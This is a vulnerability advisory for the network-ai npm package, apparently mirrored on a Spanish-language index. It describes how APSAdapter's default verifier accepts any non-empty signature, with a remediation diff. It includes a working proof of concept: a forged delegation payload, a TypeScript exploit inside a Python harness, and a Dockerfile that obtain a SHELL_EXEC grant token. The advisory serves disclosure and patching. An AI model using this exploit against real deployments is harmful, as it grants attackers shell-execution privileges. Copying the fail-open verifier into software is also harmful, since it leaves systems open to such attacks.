GHSA-3JF7-33VC-HGF4
APSAdapter Default Local Verifier Accepts Any Non-Empty Signature
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-3JF7-33VC-HGF4 divulgada · CVSS 8.6 (GitHub) | |
| Remediación | Parche 5.13.4 | network-ai · 0 d desde divulgación | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
APSAdapter Default Local Verifier Accepts Any Non-Empty Signature
Summary
`APSAdapter` in `network-ai` initialises with a `verificationMode` of `'local'` by default. When no custom `verifySignature` callback is provided, the built-in fallback verifier at `adapters/aps-adapter.ts:267–269` treats any non-empty string as a valid cryptographic signature. An unauthenticated network attacker can submit a forged APS delegation payload carrying an arbitrary `scope` (e.g. `shell:exec`) and a single-character `signature`, bypass signature verification entirely, and obtain a signed `SHELL_EXEC` permission-grant token from `AuthGuardian`. This constitutes a complete privilege-escalation path with no authentication requirement at the adapter layer.
Details
`APSAdapter.verifyDelegation()` contains the following default implementation:
// adapters/aps-adapter.ts:267-269
// Default: non-empty signature + valid depth = trusted
// In production, replace with actual crypto verification
return delegation.signature.length > 0;The vulnerability arises from a fail-open default: if a caller initialises `APSAdapter` without supplying a `verifySignature` callback, the library never performs any real cryptographic check.
The full exploit chain is as follows:
- `adapters/adapter-registry.ts:437` — The public `executeAgent(agentId, payload, context)` entry point accepts caller-controlled payload with no authentication guard at the adapter layer.
- `adapters/adapter-registry.ts:525` — The registry dispatches the payload verbatim to the resolved adapter: `return adapter.executeAgent(resolvedAgentId, payload, context)`.
- `adapters/aps-adapter.ts:327` — The payload parameters are cast directly to the internal type: `const delegation = payload.params as unknown as APSDelegation`.
- `adapters/aps-adapter.ts:341` — The attacker-controlled delegation is forwarded: `const trust = await this.apsDelegationToTrust(delegation)`.
- `adapters/aps-adapter.ts:208` — Trust calculation branches on the result of `verifyDelegation(delegation)`, which the default verifier passes unconditionally.
- `adapters/aps-adapter.ts:219–223` — The attacker-chosen `scope` array is mapped: `scope.map(s => SCOPE_TO_RESOURCE[s])`, converting `shell:exec` → `SHELL_EXEC`.
- `lib/auth-guardian.ts:140–151` — `registerAgentTrust(config)` stores the forged trust configuration permanently for the target `agentId`.
- `lib/auth-guardian.ts:189–190` — `agentConfig.allowedResources.includes(resourceType)` uses the forged `allowedResources` to authorise subsequent permission requests.
- `lib/auth-guardian.ts:216–234` — `generateGrantToken()` issues a signed grant token for the `SHELL_EXEC` resource.
`APSAdapter` is a publicly exported, documented adapter (`adapters/index.ts:107`); this code path is reached with a bare `new APSAdapter()` + `initialize({})` call — the default out-of-box configuration.
PoC
Prerequisites: `network-ai` v5.13.3 checked out, Node.js 20, Docker.
Step 1 — Build the Docker image:
# From the network-ai repo root (contains package.json, adapters/, lib/)
docker build --no-cache \
-f /path/to/vuln-001/Dockerfile \
-t network-ai-vuln001-poc \
/tmp/poc-context/The `Dockerfile` installs dependencies via `npm ci`, copies the full source tree, and runs `poc_run.ts` via `ts-node` in transpile-only mode.
Step 2 — Run the container (no network access):
docker run --rm --network=none network-ai-vuln001-pocStep 3 — Alternatively, run the self-contained Python PoC script:
python3 /path/to/vuln-001/poc.pyThe script writes `poc_run.ts` (embedded TypeScript), builds a Docker context from the repo, and runs the container, asserting the expected output.
The forged delegation payload:
const result = await aps.executeAgent('forged-agent', {
action: 'execute',
params: {
delegator: 'root-orchestrator',
delegatee: 'evil-agent',
scope: ['shell:exec'],
currentDepth: 0,
maxDepth: 1,
signature: 'not-a-real-signature', // arbitrary non-empty string
},
}, { agentId: 'attacker', taskId: 'poc-001', sessionId: 'poc-001' });Expected output (confirmed by dynamic reproduction):
{
"apsSuccess": true,
"verified": true,
"trustLevel": 0.8,
"allowedResources": ["SHELL_EXEC"],
"grantGranted": true,
"hasToken": true,
"restrictions": ["sandbox_only", "no_sudo", "timeout:30s", "audit_required"]
}
[PASS] Signature bypass confirmed: forged delegation with non-empty signature accepted as verified.
[PASS] SHELL_EXEC permission grant token issued to evil-agent via forged APS chain (CWE-347).Recommended remediation:
--- a/adapters/aps-adapter.ts
+++ b/adapters/aps-adapter.ts
@@
if (config.verifySignature) {
this.verifySignatureFn = config.verifySignature;
}
+ if (this.verificationMode === 'local' && !this.verifySignatureFn) {
+ throw new Error('verifySignature is required when verificationMode is "local"');
+ }
if (this.verificationMode === 'mcp' && !this.mcpServerUrl) {
throw new Error('mcpServerUrl is required when verificationMode is "mcp"');
}
@@
- // Default: non-empty signature + valid depth = trusted
- // In production, replace with actual crypto verification
- return delegation.signature.length > 0;
+ // Fail closed when no cryptographic verifier is configured.
+ return false;
}Impact
This is an Improper Verification of Cryptographic Signature vulnerability (CWE-347). Any party that can reach the `APSAdapter.executeAgent()` entry point — which requires no authentication at the adapter layer — can forge an APS delegation, obtain a trust mapping with attacker-chosen `allowedResources`, and receive a signed `AuthGuardian` permission-grant token for sensitive resource types including `SHELL_EXEC`.
Impacted parties include all applications that:
- Install `network-ai` and use `APSAdapter` with the default `verificationMode: 'local'` (the out-of-box default), and
- Do not supply a custom `verifySignature` callback, and
- Register the trust returned by `APSAdapter` into `AuthGuardian`.
Because `APSAdapter` is a publicly documented, exported adapter and `initialize({})` is the canonical setup shown in documentation, the vulnerable path is trivially reachable without non-default configuration. The network attack vector applies when the host application exposes the agent RPC interface over HTTP/network; for locally embedded use the attack vector degrades to local.
Reproduction artifacts
`Dockerfile`
# Dockerfile for VULN-001: APSAdapter Default Local Verifier Accepts Any Non-Empty Signature
#
# Build context must be the network-ai repo root (contains package.json, adapters/, lib/, etc.)
# and must include poc_run.ts (generated by poc.py before docker build).
#
# Build:
# docker build -f /path/to/vuln-001/Dockerfile -t network-ai-vuln001 /tmp/poc-context/
#
# Run:
# docker run --rm --network=none network-ai-vuln001
FROM node:20-alpine
WORKDIR /app
# Install dependencies (devDependencies required for ts-node and typescript)
COPY package*.json ./
RUN npm ci
# Copy full source tree
COPY . .
# Ensure /tmp exists for AuthGuardian audit + trust config files
RUN mkdir -p /tmp
# Run the PoC TypeScript via ts-node in transpile-only mode (no type-check overhead)
CMD ["sh", "-c", "TS_NODE_TRANSPILE_ONLY=1 npx ts-node poc_run.ts 2>&1"]`poc.py`
#!/usr/bin/env python3
"""
PoC for VULN-001: APSAdapter Default Local Verifier Accepts Any Non-Empty Signature
CWE-347 — Improper Verification of Cryptographic Signature
CVSS 3.1: 8.6 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L
Attack chain:
1. APSAdapter initialised with default 'local' verification mode and no custom verifySignature.
2. Attacker calls executeAgent() with a forged APSDelegation carrying scope ['shell:exec']
and an arbitrary non-empty signature string.
3. verifyDelegation() at aps-adapter.ts:269 returns true (length > 0 check only).
4. apsDelegationToTrust() maps shell:exec -> SHELL_EXEC and sets trustLevel 0.8.
5. AuthGuardian.registerAgentTrust() stores the forged trust config.
6. AuthGuardian.requestPermission() issues a signed grant token for SHELL_EXEC.
PASS criterion: container exits 0 AND stdout contains
"verified": true, "allowedResources": ["SHELL_EXEC"], "grantGranted": true, "hasToken": true
and the PASS confirmation line.
"""
import json
import os
import shutil
import subprocess
import sys
import tempfile
# ---------------------------------------------------------------------------
# Paths
# ---------------------------------------------------------------------------
REPO_DIR = "repo"
VULN_DIR = "vuln-001"
RESULT_PATH = os.path.join(VULN_DIR, "phase2_result.json")
DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile")
IMAGE_TAG = "network-ai-vuln001-poc"
# ---------------------------------------------------------------------------
# TypeScript PoC source embedded here so poc.py is self-contained.
# Relative imports are resolved from /app inside the container.
# ---------------------------------------------------------------------------
POC_TS = r"""
import { APSAdapter } from './adapters/aps-adapter';
import { AuthGuardian } from './lib/auth-guardian';
(async () => {
// --- Step 1: Initialise APSAdapter with default local verification ---
const aps = new APSAdapter();
await aps.initialize({});
// verificationMode defaults to 'local'; no verifySignature provided.
// This means aps-adapter.ts:269 path will be taken: return delegation.signature.length > 0
// --- Step 2: Submit a forged APS delegation ---
// scope 'shell:exec' maps to SHELL_EXEC resource (aps-adapter.ts:106)
// signature is an arbitrary non-empty string — no real cryptography.
const result = await aps.executeAgent('forged-agent', {
action: 'execute',
params: {
delegator: 'root-orchestrator',
delegatee: 'evil-agent',
scope: ['shell:exec'],
currentDepth: 0,
maxDepth: 1,
signature: 'not-a-real-signature',
},
}, { agentId: 'attacker', taskId: 'poc-001', sessionId: 'poc-001' });
if (!result.success) {
console.error('[FAIL] executeAgent returned success=false:', JSON.stringify(result.error));
process.exit(1);
}
const trust = result.data as any;
// --- Step 3: Register the forged trust mapping in AuthGuardian ---
const guardian = new AuthGuardian({
auditLogPath: '/tmp/network-ai-poc-audit.jsonl',
trustConfigPath: '/tmp/network-ai-poc-trust.json',
});
guardian.registerAgentTrust(trust);
// --- Step 4: Request SHELL_EXEC permission with a crafted justification ---
// scope='build' keeps assessRisk at 0.8 (not > 0.8), avoiding denial.
// Justification includes task ID + resource-relevant keywords (build, terminal, script)
// to push justification score above the 0.3 floor and weighted score above 0.5.
const grant = await guardian.requestPermission(
'evil-agent',
'SHELL_EXEC',
'Need to execute build script for the CI task-1234 because the deployment pipeline requires command validation in terminal',
'build',
);
// --- Step 5: Emit evidence JSON ---
const output = {
apsSuccess: result.success,
verified: trust.apsMetadata.verified,
trustLevel: trust.trustLevel,
allowedResources: trust.allowedResources,
grantGranted: grant.granted,
hasToken: !!grant.grantToken,
restrictions: grant.restrictions,
};
console.log(JSON.stringify(output, null, 2));
// --- Step 6: Deterministic assertions ---
let ok = true;
if (!output.apsSuccess) {
console.error('[FAIL] APS executeAgent did not succeed');
ok = false;
}
if (!output.verified) {
console.error('[FAIL] delegation not marked verified — bypass did not work');
ok = false;
}
if (!output.allowedResources.includes('SHELL_EXEC')) {
console.error('[FAIL] SHELL_EXEC not in allowedResources');
ok = false;
}
if (!output.grantGranted) {
console.error('[FAIL] permission grant was NOT issued');
ok = false;
}
if (!output.hasToken) {
console.error('[FAIL] no grant token returned');
ok = false;
}
if (!ok) { process.exit(1); }
console.log('\n[PASS] Signature bypass confirmed: forged delegation with non-empty signature accepted as verified.');
console.log('[PASS] SHELL_EXEC permission grant token issued to evil-agent via forged APS chain (CWE-347).');
process.exit(0);
})();
"""
# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------
def run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess:
print(f"[+] Running: {' '.join(cmd)}", flush=True)
return subprocess.run(cmd, text=True, **kwargs)
def write_fail(reason: str, detail: str) -> None:
result = {
"passed": False,
"verdict": "FAIL",
"reason": reason,
"build_command": f"docker build -f {DOCKERFILE} -t {IMAGE_TAG} <context>",
"run_command": f"docker run --rm --network=none {IMAGE_TAG}",
"poc_command": f"python3 {os.path.join(VULN_DIR, 'poc.py')}",
"evidence": detail,
"artifacts": ["Dockerfile", "poc.py"],
}
with open(RESULT_PATH, "w") as fh:
json.dump(result, fh, indent=2, ensure_ascii=False)
print(f"[!] FAIL — {reason}", file=sys.stderr)
print(f"[!] Detail: {detail}", file=sys.stderr)
sys.exit(1)
# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main() -> None:
# 1. Write poc_run.ts alongside this script so the Dockerfile copies it
poc_ts_path = os.path.join(VULN_DIR, "poc_run.ts")
with open(poc_ts_path, "w") as fh:
fh.write(POC_TS.lstrip("\n"))
print(f"[+] Wrote PoC TypeScript to {poc_ts_path}")
# 2. Create a temporary build context that merges the repo source and poc_run.ts
# (Dockerfile lives in vuln-001/ but build context must include all COPY targets)
ctx_dir = tempfile.mkdtemp(prefix="vuln001-ctx-")
try:
print(f"[+] Building Docker context in {ctx_dir}")
shutil.copytree(REPO_DIR, ctx_dir, dirs_exist_ok=True)
shutil.copy(poc_ts_path, os.path.join(ctx_dir, "poc_run.ts"))
build_cmd = [
"docker", "build",
"--no-cache",
"-f", DOCKERFILE,
"-t", IMAGE_TAG,
ctx_dir,
]
build_result = run(build_cmd, capture_output=True, timeout=600)
if build_result.returncode != 0:
write_fail(
"Docker 이미지 빌드 실패",
f"build stderr:\n{build_result.stderr[-3000:]}",
)
print("[+] Image built successfully")
# 3. Run the container (no network, no privileged access)
run_cmd = [
"docker", "run",
"--rm",
"--network=none",
IMAGE_TAG,
]
run_result = run(run_cmd, capture_output=True, timeout=180)
combined_out = run_result.stdout + run_result.stderr
print("--- container output ---")
print(combined_out)
print("--- end output ---")
if run_result.returncode != 0:
write_fail(
"컨테이너 실행 실패 또는 PoC assertion 오류",
f"exit code: {run_result.returncode}\n{combined_out[-3000:]}",
)
# 4. Parse the evidence JSON from stdout
output_json: dict = {}
for line in run_result.stdout.splitlines():
line = line.strip()
if line.startswith("{"):
try:
output_json = json.loads(
"\n".join(
run_result.stdout.splitlines()[
run_result.stdout.splitlines().index(line):
]
).split("\n[PASS]")[0]
)
break
except json.JSONDecodeError:
pass
# 5. Verify expected values
checks = {
"apsSuccess": output_json.get("apsSuccess") is True,
"verified": output_json.get("verified") is True,
"SHELL_EXEC in allowedResources": "SHELL_EXEC" in output_json.get("allowedResources", []),
"grantGranted": output_json.get("grantGranted") is True,
"hasToken": output_json.get("hasToken") is True,
}
failed_checks = [k for k, v in checks.items() if not v]
if failed_checks or "[PASS]" not in combined_out:
write_fail(
f"취약점 재현 조건 불충족: {failed_checks}",
combined_out[-3000:],
)
# 6. All good — write PASS result
evidence_excerpt = combined_out[:4000]
result = {
"passed": True,
"verdict": "PASS",
"reason": (
"APSAdapter 기본 로컬 검증기(aps-adapter.ts:269)가 임의의 비어있지 않은 문자열 서명을 "
"수락하여 APS 위임 검증을 완전히 우회한다. 공격자는 scope=['shell:exec']와 "
"signature='not-a-real-signature'만으로 AuthGuardian에 SHELL_EXEC 신뢰를 등록하고 "
"서명된 권한 부여 토큰을 획득한다. 컨테이너 실행 결과에서 verified=true, "
"allowedResources=['SHELL_EXEC'], grantGranted=true, hasToken=true가 관측되었다."
),
"build_command": f"docker build --no-cache -f {DOCKERFILE} -t {IMAGE_TAG} <ctx>",
"run_command": f"docker run --rm --network=none {IMAGE_TAG}",
"poc_command": f"python3 {os.path.join(VULN_DIR, 'poc.py')}",
"evidence": evidence_excerpt,
"artifacts": ["Dockerfile", "poc.py"],
}
with open(RESULT_PATH, "w") as fh:
json.dump(result, fh, indent=2, ensure_ascii=False)
print(f"\n[PASS] phase2_result.json written to {RESULT_PATH}")
finally:
shutil.rmtree(ctx_dir, ignore_errors=True)
if __name__ == "__main__":
main()Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmnetwork-ai |
Corregida | 5.13.4 | 0 d | 6.0.1 no afectada |
5.13.4Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-3jf7-33vc-hgf4Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
